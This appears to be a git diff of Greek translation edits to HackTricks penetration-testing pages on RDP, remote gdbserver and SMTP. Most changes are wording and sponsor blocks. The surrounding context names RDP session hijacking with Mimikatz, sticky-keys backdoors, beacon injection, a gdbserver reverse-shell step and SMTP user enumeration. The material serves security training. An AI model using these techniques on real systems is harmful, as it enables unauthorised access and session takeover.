 **Σημαντικό**: Όταν αποκτάτε πρόσβαση σε ενεργές συνεδρίες RDP, θα αποσυνδέσετε τον χρήστη που τις χρησιμοποιούσε.

-Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράτε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκεύονται στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...)
+Μπορείτε να αποκτήσετε κωδικούς πρόσβασης από τη διαδικασία εκτελώντας την, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σας επιτρέπει να αλληλεπιδράσετε με τα εικονικά γραφεία του χρήστη (κωδικοί πρόσβασης σε σημειωματάριο χωρίς να αποθηκευτούν στο δίσκο, άλλες συνεδρίες RDP ανοιχτές σε άλλες μηχανές...)

 #### **Mimikatz**

@ -109,11 +109,11 @@ ts::remote /id:2    #Connect to the session

 Συνδυάζοντας αυτή την τεχνική με **stickykeys** ή **utilman θα μπορέσετε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποιαδήποτε στιγμή**

-Μπορείτε να αναζητήσετε RDPs που έχουν παραβιαστεί με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
+Μπορείτε να αναζητήσετε RDPs που έχουν υποστεί backdoor με μία από αυτές τις τεχνικές ήδη με: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)

 ### RDP Process Injection

-Εάν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε διαχειριστής**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του και να ενεργήσετε ως αυτός:
+Αν κάποιος από διαφορετικό τομέα ή με **καλύτερα δικαιώματα συνδεθεί μέσω RDP** στον υπολογιστή όπου **είστε διαχειριστής**, μπορείτε να **εισάγετε** το beacon σας στη **διαδικασία συνεδρίας RDP** του:

 {% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
 [rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -127,12 +127,12 @@ net localgroup "Remote Desktop Users" UserLoginName /add

 * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)

-**AutoRDPwn** είναι ένα πλαίσιο μετα-εκμετάλλευσης που έχει δημιουργηθεί σε Powershell, σχεδιασμένο κυρίως για να αυτοματοποιεί την επίθεση **Shadow** σε υπολογιστές Microsoft Windows. Αυτή η ευπάθεια (καταχωρημένη ως χαρακτηριστικό από τη Microsoft) επιτρέπει σε έναν απομακρυσμένο επιτιθέμενο να **βλέπει την επιφάνεια εργασίας του θύματος χωρίς τη συγκατάθεσή του**, και ακόμη και να την ελέγχει κατόπιν αιτήματος, χρησιμοποιώντας εργαλεία που είναι εγγενή στο ίδιο το λειτουργικό σύστημα.
+**AutoRDPwn** είναι ένα πλαίσιο μετα-εκμετάλλευσης που έχει δημιουργηθεί σε Powershell, σχεδιασμένο κυρίως για να αυτοματοποιεί την επίθεση **Shadow** σε υπολογιστές Microsoft Windows. Αυτή η ευπάθεια (καταχωρημένη ως χαρακτηριστικό από τη Microsoft) επιτρέπει σε έναν απομακρυσμένο επιτιθέμενο να **δείχνει την επιφάνεια εργασίας του θύματος χωρίς τη συγκατάθεσή του**, και ακόμη και να την ελέγχει κατόπιν αιτήματος, χρησιμοποιώντας εργαλεία που είναι εγγενή στο ίδιο το λειτουργικό σύστημα.

 * [**EvilRDP**](https://github.com/skelsec/evilrdp)
 * Έλεγχος του ποντικιού και του πληκτρολογίου με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
 * Έλεγχος του clipboard με αυτοματοποιημένο τρόπο από τη γραμμή εντολών
-* Δημιουργία ενός SOCKS proxy από τον πελάτη που κατευθύνει την δικτυακή επικοινωνία προς τον στόχο μέσω RDP
+* Δημιουργία ενός SOCKS proxy από τον πελάτη που κατευθύνει την επικοινωνία δικτύου προς τον στόχο μέσω RDP
 * Εκτέλεση αυθαίρετων εντολών SHELL και PowerShell στον στόχο χωρίς να ανεβάσετε αρχεία
 * Ανεβάστε και κατεβάστε αρχεία προς/από τον στόχο ακόμη και όταν οι μεταφορές αρχείων είναι απενεργοποιημένες στον στόχο

@ -157,9 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-remote-gdbserver.md
+++ b/network-services-pentesting/pentesting-remote-gdbserver.md
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -56,7 +56,7 @@ run

 # You should get your reverse-shell
 ```
-### Εκτέλεση αυθαίρετων εντολών
+### Execute arbitrary commands

 Υπάρχει ένας άλλος τρόπος να **κάνετε τον αποσφαλματωτή να εκτελεί αυθαίρετες εντολές μέσω ενός** [**προσαρμοσμένου script python που έχει ληφθεί από εδώ**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
 ```bash
@ -200,9 +200,9 @@ RemoteCmd()

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

--- a/network-services-pentesting/pentesting-smtp/README.md
+++ b/network-services-pentesting/pentesting-smtp/README.md
@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

-## **Basic Information**
+## **Βασικές Πληροφορίες**

 Το **Simple Mail Transfer Protocol (SMTP)** είναι ένα πρωτόκολλο που χρησιμοποιείται μέσα στην σουίτα TCP/IP για την **αποστολή και λήψη e-mail**. Λόγω των περιορισμών του στην ουρά μηνυμάτων στο τέλος του παραλήπτη, το SMTP συχνά χρησιμοποιείται παράλληλα με το **POP3 ή IMAP**. Αυτά τα επιπλέον πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε ένα διακομιστή ταχυδρομείου και να τα κατεβάζουν περιοδικά.

 Στην πράξη, είναι κοινό για τα **προγράμματα e-mail** να χρησιμοποιούν **SMTP για την αποστολή e-mails**, ενώ χρησιμοποιούν **POP3 ή IMAP για την λήψη** τους. Σε συστήματα βασισμένα σε Unix, το **sendmail** ξεχωρίζει ως ο διακομιστής SMTP που χρησιμοποιείται πιο συχνά για σκοπούς e-mail. Το εμπορικό πακέτο που ονομάζεται Sendmail περιλαμβάνει έναν διακομιστή POP3. Επιπλέον, το **Microsoft Exchange** παρέχει έναν διακομιστή SMTP και προσφέρει την επιλογή να συμπεριληφθεί υποστήριξη POP3.

-**Default port:** 25,465(ssl),587(ssl)
+**Προεπιλεγμένη θύρα:** 25,465(ssl),587(ssl)
 ```
 PORT   STATE SERVICE REASON  VERSION
 25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959
@ -68,7 +68,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
 ```
 ### NTLM Auth - Αποκάλυψη πληροφοριών

-Εάν ο διακομιστής υποστηρίζει NTLM auth (Windows) μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες [**εδώ**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
+Αν ο διακομιστής υποστηρίζει NTLM auth (Windows) μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες [**εδώ**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
 ```bash
 root@kali: telnet example.com 587
 220 example.com SMTP Server Banner
@ -171,7 +171,7 @@ Nmap: nmap --script smtp-enum-users <IP>
 ```
 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

 **Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

@ -179,7 +179,7 @@ Nmap: nmap --script smtp-enum-users <IP>

 ## DSN Reports

-**Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. **Headers** του επιστρεφόμενου email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus).
+**Αναφορές Κατάστασης Παράδοσης**: Εάν στείλετε ένα **email** σε έναν οργανισμό σε μια **μη έγκυρη διεύθυνση**, ο οργανισμός θα σας ειδοποιήσει ότι η διεύθυνση ήταν μη έγκυρη στέλνοντας ένα **mail πίσω σε εσάς**. Οι **επικεφαλίδες** του επιστραφέντος email θα **περιέχουν** πιθανές **ευαίσθητες πληροφορίες** (όπως η διεύθυνση IP των υπηρεσιών email που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες λογισμικού antivirus).

 ## [Commands](smtp-commands.md)

@ -263,11 +263,11 @@ print("[***]successfully sent email to %s:" % (msg['To']))
 ### SPF

 {% hint style="danger" %}
-Το SPF [ήταν "παρωχημένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε μια **εγγραφή TXT** στο `_spf.domain.com`, τη δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\
-Επιπλέον, για να επαναχρησιμοποιήσετε προηγούμενες εγγραφές spf, είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"`
+Το SPF [ήταν "παρωχημένο" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργήσετε ένα **TXT record** στο `_spf.domain.com`, το δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\
+Επιπλέον, για να επαναχρησιμοποιήσετε προηγούμενα SPF records, είναι αρκετά συνηθισμένο να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"`
 {% endhint %}

-**Sender Policy Framework** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Mail Transfer Agents (MTAs) να επαληθεύουν αν ένας διακομιστής που στέλνει ένα email είναι εξουσιοδοτημένος, ερωτώντας μια λίστα εξουσιοδοτημένων διακομιστών email που ορίζονται από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, τομείς και άλλες οντότητες **εξουσιοδοτημένες να στέλνουν email εκ μέρους ενός ονόματος τομέα**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στην εγγραφή SPF.
+**Sender Policy Framework** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Mail Transfer Agents (MTAs) να επαληθεύουν αν ένας host που στέλνει ένα email είναι εξουσιοδοτημένος, ερωτώντας μια λίστα εξουσιοδοτημένων mail servers που ορίζονται από τους οργανισμούς. Αυτή η λίστα, η οποία καθορίζει διευθύνσεις IP/εύρη, τομείς και άλλες οντότητες **εξουσιοδοτημένες να στέλνουν email εκ μέρους ενός ονόματος τομέα**, περιλαμβάνει διάφορους "**Μηχανισμούς**" στο SPF record.

 #### Μηχανισμοί

@ -275,15 +275,15 @@ print("[***]successfully sent email to %s:" % (msg['To']))

 | Μηχανισμός | Περιγραφή                                                                                                                                                                                                                                                                                                                         |
 | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ALL         | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με προηγούμενους μηχανισμούς.                                                                                                                                                                              |
-| A           | Αν το όνομα τομέα έχει μια εγγραφή διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει.                                                                                                                                                                                                         |
+| ALL         | Ταιριάζει πάντα; χρησιμοποιείται για ένα προεπιλεγμένο αποτέλεσμα όπως το `-all` για όλες τις IP που δεν ταιριάζουν με τους προηγούμενους μηχανισμούς.                                                                                                                                                                          |
+| A           | Αν το όνομα τομέα έχει ένα record διεύθυνσης (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα, θα ταιριάξει.                                                                                                                                                                                                         |
 | IP4         | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv4, ταιριάζει.                                                                                                                                                                                                                                                          |
 | IP6         | Αν ο αποστολέας είναι σε μια δεδομένη περιοχή διευθύνσεων IPv6, ταιριάζει.                                                                                                                                                                                                                                                          |
-| MX          | Αν το όνομα τομέα έχει μια εγγραφή MX που επιλύει στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους διακομιστές εισερχόμενης αλληλογραφίας του τομέα).                                                                                                                                         |
-| PTR         | Αν το όνομα τομέα (εγγραφή PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύει στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν.                                                        |
-| EXISTS      | Αν το δεδομένο όνομα τομέα επιλύει σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία η διεύθυνση στην οποία επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries.                                                                                 |
-| INCLUDE     | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση ανακατεύθυνσης.                                          |
-| REDIRECT    | <p>Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμη όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του τομέα που υποδεικνύεται στην ανακατεύθυνση θα χρησιμοποιηθεί.</p> |
+| MX          | Αν το όνομα τομέα έχει ένα MX record που επιλύεται στη διεύθυνση του αποστολέα, θα ταιριάξει (δηλαδή, το email προέρχεται από έναν από τους εισερχόμενους mail servers του τομέα).                                                                                                                                                  |
+| PTR         | Αν το όνομα τομέα (record PTR) για τη διεύθυνση του πελάτη είναι στον δεδομένο τομέα και αυτό το όνομα τομέα επιλύεται στη διεύθυνση του πελάτη (forward-confirmed reverse DNS), ταιριάζει. Αυτός ο μηχανισμός αποθαρρύνεται και θα πρέπει να αποφεύγεται, αν είναι δυνατόν.                                                      |
+| EXISTS      | Αν το δεδομένο όνομα τομέα επιλύεται σε οποιαδήποτε διεύθυνση, ταιριάζει (δεν έχει σημασία η διεύθυνση στην οποία επιλύεται). Αυτό χρησιμοποιείται σπάνια. Μαζί με τη γλώσσα μακροεντολών SPF προσφέρει πιο σύνθετους ταιριάσματος όπως DNSBL-queries.                                                                                 |
+| INCLUDE     | Αναφέρεται στην πολιτική ενός άλλου τομέα. Αν η πολιτική αυτού του τομέα περάσει, αυτός ο μηχανισμός περνά. Ωστόσο, αν η συμπεριλαμβανόμενη πολιτική αποτύχει, η επεξεργασία συνεχίζεται. Για να ανατεθεί πλήρως σε μια πολιτική άλλου τομέα, πρέπει να χρησιμοποιηθεί η επέκταση redirect.                                               |
+| REDIRECT    | <p>Μια ανακατεύθυνση είναι ένας δείκτης σε ένα άλλο όνομα τομέα που φιλοξενεί μια πολιτική SPF, επιτρέπει σε πολλούς τομείς να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμο όταν εργάζεστε με μεγάλο αριθμό τομέων που μοιράζονται την ίδια υποδομή email.</p><p>Η πολιτική SPF του τομέα που υποδεικνύεται στη μηχανισμό ανακατεύθυνσης θα χρησιμοποιηθεί.</p> |

 Είναι επίσης δυνατό να προσδιοριστούν **Ποιοτικοί δείκτες** που υποδεικνύουν **τι πρέπει να γίνει αν ταιριάξει ένας μηχανισμός**. Από προεπιλογή, χρησιμοποιείται ο **ποιοτικός δείκτης "+"** (έτσι αν ταιριάξει οποιοσδήποτε μηχανισμός, αυτό σημαίνει ότι επιτρέπεται).\
 Συνήθως θα παρατηρήσετε **στο τέλος κάθε πολιτικής SPF** κάτι σαν: **\~all** ή **-all**. Αυτό χρησιμοποιείται για να υποδείξει ότι **αν ο αποστολέας δεν ταιριάζει με καμία πολιτική SPF, θα πρέπει να επισημάνετε το email ως μη αξιόπιστο (\~) ή να απορρίψετε (-) το email.**
@ -293,7 +293,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
 Κάθε μηχανισμός εντός της πολιτικής μπορεί να έχει πρόθεμα έναν από τους τέσσερις ποιοτικούς δείκτες για να καθορίσει το επιθυμητό αποτέλεσμα:

 * **`+`**: Αντιστοιχεί σε ένα αποτέλεσμα PASS. Από προεπιλογή, οι μηχανισμοί υποθέτουν αυτόν τον ποιοτικό δείκτη, κάνοντάς το `+mx` ισοδύναμο με `mx`.
-* **`?`**: Αντιπροσωπεύει ένα NEUTRAL αποτέλεσμα, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική).
+* **`?`**: Αντιπροσωπεύει ένα αποτέλεσμα NEUTRAL, που αντιμετωπίζεται παρόμοια με το NONE (καμία συγκεκριμένη πολιτική).
 * **`~`**: Υποδηλώνει SOFTFAIL, λειτουργώντας ως ενδιάμεσος χώρος μεταξύ NEUTRAL και FAIL. Τα emails που πληρούν αυτό το αποτέλεσμα γίνονται συνήθως αποδεκτά αλλά επισημαίνονται αναλόγως.
 * **`-`**: Υποδηλώνει FAIL, προτείνοντας ότι το email θα πρέπει να απορριφθεί εντελώς.

@ -354,30 +354,30 @@ _dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA

 | Tag Name | Purpose                                       | Sample                          |
 | -------- | --------------------------------------------- | ------------------------------- |
-| v        | Protocol version                              | v=DMARC1                        |
-| pct      | Percentage of messages subjected to filtering | pct=20                          |
-| ruf      | Reporting URI for forensic reports            | ruf=mailto:authfail@example.com |
-| rua      | Reporting URI of aggregate reports            | rua=mailto:aggrep@example.com   |
-| p        | Policy for organizational domain              | p=quarantine                    |
-| sp       | Policy for subdomains of the OD               | sp=reject                       |
-| adkim    | Alignment mode for DKIM                       | adkim=s                         |
-| aspf     | Alignment mode for SPF                        | aspf=r                          |
+| v        | Έκδοση πρωτοκόλλου                           | v=DMARC1                        |
+| pct      | Ποσοστό μηνυμάτων που υπόκεινται σε φιλτράρισμα | pct=20                          |
+| ruf      | URI αναφοράς για εγκληματολογικές αναφορές   | ruf=mailto:authfail@example.com |
+| rua      | URI αναφοράς για συνοπτικές αναφορές        | rua=mailto:aggrep@example.com   |
+| p        | Πολιτική για τον οργανωτικό τομέα           | p=quarantine                    |
+| sp       | Πολιτική για υποτομείς του OD                | sp=reject                       |
+| adkim    | Λειτουργία ευθυγράμμισης για DKIM            | adkim=s                         |
+| aspf     | Λειτουργία ευθυγράμμισης για SPF             | aspf=r                          |

-### **Τι γίνεται με τα Υποτομείς;**
+### **Τι γίνεται με τους Υποτομείς;**

 **Από** [**εδώ**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
 Πρέπει να έχετε ξεχωριστές εγγραφές SPF για κάθε υποτομέα από τον οποίο θέλετε να στείλετε email.\
-Το παρακάτω δημοσιεύθηκε αρχικά στο openspf.org, το οποίο ήταν μια εξαιρετική πηγή για αυτού του είδους τις πληροφορίες.
+Τα παρακάτω δημοσιεύτηκαν αρχικά στο openspf.org, το οποίο ήταν μια εξαιρετική πηγή για αυτό το είδος πληροφοριών.

 > Η Ερώτηση του Demon: Τι γίνεται με τους υποτομείς;
 >
-> Αν λάβω email από pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για το pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για το demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει εγγραφές SPF για κάθε υποτομέα.
+> Αν λάβω email από pielovers.demon.co.uk, και δεν υπάρχουν δεδομένα SPF για pielovers, πρέπει να επιστρέψω ένα επίπεδο και να ελέγξω το SPF για demon.co.uk; Όχι. Κάθε υποτομέας στο Demon είναι διαφορετικός πελάτης, και κάθε πελάτης μπορεί να έχει τη δική του πολιτική. Δεν θα είχε νόημα η πολιτική του Demon να ισχύει για όλους τους πελάτες του από προεπιλογή; Αν το Demon θέλει να το κάνει αυτό, μπορεί να ρυθμίσει εγγραφές SPF για κάθε υποτομέα.
 >
-> Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα κεντρικού υπολογιστή που έχει εγγραφή A ή MX.
+> Έτσι, η συμβουλή προς τους εκδότες SPF είναι αυτή: θα πρέπει να προσθέσετε μια εγγραφή SPF για κάθε υποτομέα ή όνομα υπολογιστή που έχει εγγραφή A ή MX.
 >
-> Οι ιστότοποι με wildcard A ή MX εγγραφές θα πρέπει επίσης να έχουν μια wildcard SPF εγγραφή, της μορφής: \* IN TXT "v=spf1 -all"
+> Ιστοσελίδες με wildcard A ή MX εγγραφές θα πρέπει επίσης να έχουν μια wildcard SPF εγγραφή, της μορφής: \* IN TXT "v=spf1 -all"

-Αυτό έχει νόημα - ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF.
+Αυτό έχει νόημα - ένας υποτομέας μπορεί να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF.

 ### **Ανοιχτό Relay**

@ -387,16 +387,16 @@ _dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
 ```bash
 mynetworks = 0.0.0.0/0
 ```
-Για να ελέγξετε αν ένας διακομιστής αλληλογραφίας είναι ανοιχτός διαμετακομιστής (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο `nmap` χρησιμοποιείται συνήθως. Περιλαμβάνει ένα συγκεκριμένο σενάριο σχεδιασμένο για να το δοκιμάσει. Η εντολή για να διεξάγετε μια λεπτομερή σάρωση σε έναν διακομιστή (για παράδειγμα, με IP 10.10.10.10) στην πόρτα 25 χρησιμοποιώντας το `nmap` είναι:
